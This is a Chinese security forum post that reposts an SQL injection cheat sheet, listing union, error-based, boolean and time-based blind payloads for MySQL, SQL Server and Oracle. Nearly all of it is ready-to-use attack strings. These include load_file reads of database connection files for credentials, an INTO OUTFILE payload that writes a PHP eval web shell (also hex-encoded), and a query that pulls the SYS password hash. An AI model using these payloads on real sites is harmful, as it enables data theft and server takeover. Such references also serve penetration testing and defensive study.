安全矩阵

 找回密码
 立即注册
搜索
查看: 4771|回复: 0

SQL注入速查笔记

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-24 08:54:54 | 显示全部楼层 |阅读模式
原文链接:SQL注入速查笔记

SQL 注入分类方式:
  1. 提交方式:GET  POST COOKIE
  2. 参数注入:数字型/字符型/搜索型
  3. 数据库类型:ACCESS/Mysql/MSSQL/Oracle
  4. 手工注入方法:联合查询、报错注入、盲注(基于布尔型、基于时间延迟)
复制代码
0x01 Mysql
Mysql划分:权限  root        普通用户 版本  mysql>5.0   mysql<5.0
1.1 root权限
load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
判断是否具有读写权限

  1. and (select count(*) from mysql.user)>0#
  2. and (select count(file_priv) from mysql.user)>#
复制代码
A、Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件
注意:路径符号”\”错误  “\”正确  “/”正确,转换成十六进制,不用“”

  1. id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制)
复制代码
可以用来读取数据库连接文件获取数据连接账号、密码等

  1. ?id=1'and 1=2 union select 1,load_file('D:\\wamp\\www\\111.php')%23
  2. id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23
复制代码
B、into outfile函数
条件:1. 绝对路径    2.可以使用单引号

  1. ?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
  2. ?id=1 LIMIT 0,1 INTO OUTFILE 'E:/s
  3. tudy/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
复制代码
1.2 MySQL联合查询
1.2.1 适用于mysql低于5.0版本

  1. 1.判断是否可以注入
  2.     ?id=1 and 1=1,页面正常
  3.     ?id=1 and 1=2,页面空白
  4. 2.获得字段数
  5. order by的方法来判断,比如:
  6.     ?id=1 order by 4   页面显示正常
  7.     ?id=1 order by 5   页面出错,说明字段数等于4
  8. 3.获得显示位
  9.     ?id=1 and 1=2 union select 1,2,3,4
  10.     //比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。
  11. 4.猜表名
  12.     猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如:
  13.         ?id=1 and 1=2 union select 1,2,3,4 from users
  14.     这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。

  15. 5.猜字段
  16.     使用:Concat(字段名)替换显示位的位置。
  17.         ?id=1 and 1=2 union select 1,2,3,concat(username,password) from users
复制代码
1.2.2 适用于Mysql 5.0以上版本支持查表查列
  1. 1.先判断是否可以注入
  2.     and+1=1,页面正常
  3.     and+1=2,页面空白
  4. 2.获得字段数:使用order by
  5. 提交:
  6.     ?id=1 order by 4 正确。
  7.     ?id=1 order by 5 错误。
  8.     那么,判断出字段数为4。
  9. 3.获得显示位

  10. 提交:?id=1 +and+1=2+union+select+1,2,3,4
  11. 显示位为:2,3,4
  12. 4.获取信息
  13.     ?id=1 +and+1=2+union+select+1,2,3,version()

  14.     database()
  15.     user()  
  16.     version()
  17.     database()  
  18.     @@basedir  数据库安装路径
  19.     @@datadir  数据库路径
  20. 5.查表
  21. ?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1--
  22. 得到表:test

  23. 6.查字段
  24.     ?id=1 and 1=2 union select 1,2,3,column_name from
  25. information_schema.columns where table_name=0x74657374 limit 0,1--
  26.     得到字段:id,username,password
  27. 7.爆字段内容
  28.     ?id=1+and+1=2+union+select+1,2,3,concat(username,password) from+test
复制代码
1.3 MySQL报错注入
mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。
多种报错注入方式:
  1. and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
  2. and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
  3. and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))
  4. and 1=(updatexml(1,concat(0x3a,(select user())),1))
  5. and GeometryCollection((select*from(select*from(select @@version)f)x))
  6. and polygon((select*from(select name_const(version(),1))x))
  7. and linestring((select * from(select * from(select user())a)b))
  8. and multilinestring((select * from(select * from(select version())a)b));
  9. and multipoint((select * from(select * from(select user())a)b));
  10. and multipolygon((select * from(select * from(select user())a)b));
  11. and exp(~(select * from(select version())a));
复制代码
1.4 MySQL盲注
基于布尔型注入
  1. id=1 and (select length(user()))=20 # 返回正常页面  长度20位
  2. id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97
  3. //截取username第一个数据的ascii值
复制代码

基于时间型注入
  1. 1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
  2. 1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2'
复制代码

0x02 SQLServer
SA权限:数据库操作,文件管理,命令执行,注册表读取等
Db权限:文件管理,数据库操作等
Public权限:数据库操作
2.1 SQLServer 联合查询
  1. 1.判断是否存在注入
  2.     ?id=1 and 1=1--  返回正确
  3.     ?id=1 and 1=2--  返回错误

  4. 2.获取字段数
  5.     ?id=1 order by 2-- 返回正确页面  
  6.     ?id=1 order by 3-- 返回错误页面    字段长度为2

  7. 3.查看数据库版本
  8.     ?id=1 and 1=2 union select  db_name(),null   //获得当前数据库

  9. 4.查看表名
  10.     ?id=1 and 1=2 union select  top 1  TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users')

  11. 5.查看列名
  12.     ?id=1 and 1=2 union select  top 1 column_name ,2  from  information_schema.columns where table_name ='users'  and column_name not in ('uname')

  13. 6.获取数据
  14.     ?id=1 and 1=2 union select top 1 uname,null from users
复制代码
2.2 SQLServer 报错注入
  1. 1.获取表名
  2. ?id=4' and 1>(select top 1  TABLE_NAME from INFORMATION_SCHEMA.TABLES  where TABLE_NAME not in ('admin') )--
  3. 2.获取列名
  4. ?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) --

  5. 3.获取数据
  6. ?id=4' and 1=(select top 1 pwd from admin) --

  7. 4.获取数据库信息
  8. ?id=1' and 1=(select @@version)--   //SQL Server 2000
  9. ?id=1' and 1=(select db_name())  //当前使用的数据库
复制代码
2.3 SQLServer 盲注
  1. 1、猜表名

  2. ?id=1 and  (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 --  //获取第一个表的长度7

  3. ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 --    //截取第一个表第一位的ascii码

  4. ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值
  5. 得到表名,进一步猜解字段

  6. 2、猜字段
  7. id=1 and
  8. (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1
  9. //获取users表第一个字段的ASCII值

  10. id=1 and
  11. (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass')  and ascii(substring(name,1,1))>90)=1  --
  12. //获取user表第二个字段的第一位ASCII值

  13. 3、猜数据
  14. id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --  
  15. //获取users表中uname字段的第一位ASCII值
复制代码

0x03 Oracle


3.1 联合查询
  1. Union select null,null,null   从第一个null开始加’null’,得到显示位
  2. Union select null,null,null from dual  返回正确,存在dual表
  3. Union Select tablespace_name from user_tablespaces    //查库
  4. Union Select table_name from user_tables where rownum = 1 and table_name<>’news’  //查表
  5. Union Select column_name from user_tab_columns where table_name=’users’  //查列
  6. ?id=1 order by 1-- //获取字段数
  7. and+1=1+union+all+select+(SELECT banner FROM v$version where rownum=1)+from+dual--//获取数据库版本
  8. and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //获取当前连接数据库的用户名
  9. union+all+select+(select password from sys.user$ where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码
  10. union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名
  11. and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名
复制代码

3.2 手工显错注入
  1. 最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限

  2. //判断是否是oracle
  3. ?id=1 and exists(select * from dual)--
  4. //获取库名
  5. ?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v$database))—-
  6. //获取数据库服务器所在ip
  7. ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))--
  8. ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where rownum=1),'a','b')--
  9. ?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')--
  10. ?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
  11. ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--
复制代码

3.3 盲注
基于布尔类型的盲注:
  1. ?id=7782' and length((SELECT name FROM v$database))=4--  获取数据库名长度
  2. ?id=7782'  and ascii(substr((SELECT name FROM v$database),1,1))=79--
  3. 获取数据库名第一位为O
复制代码



基于时间延迟的盲注:
  1. ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)--
  2. ?id=7782'  AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--
复制代码








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 10:28 , Processed in 0.014351 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表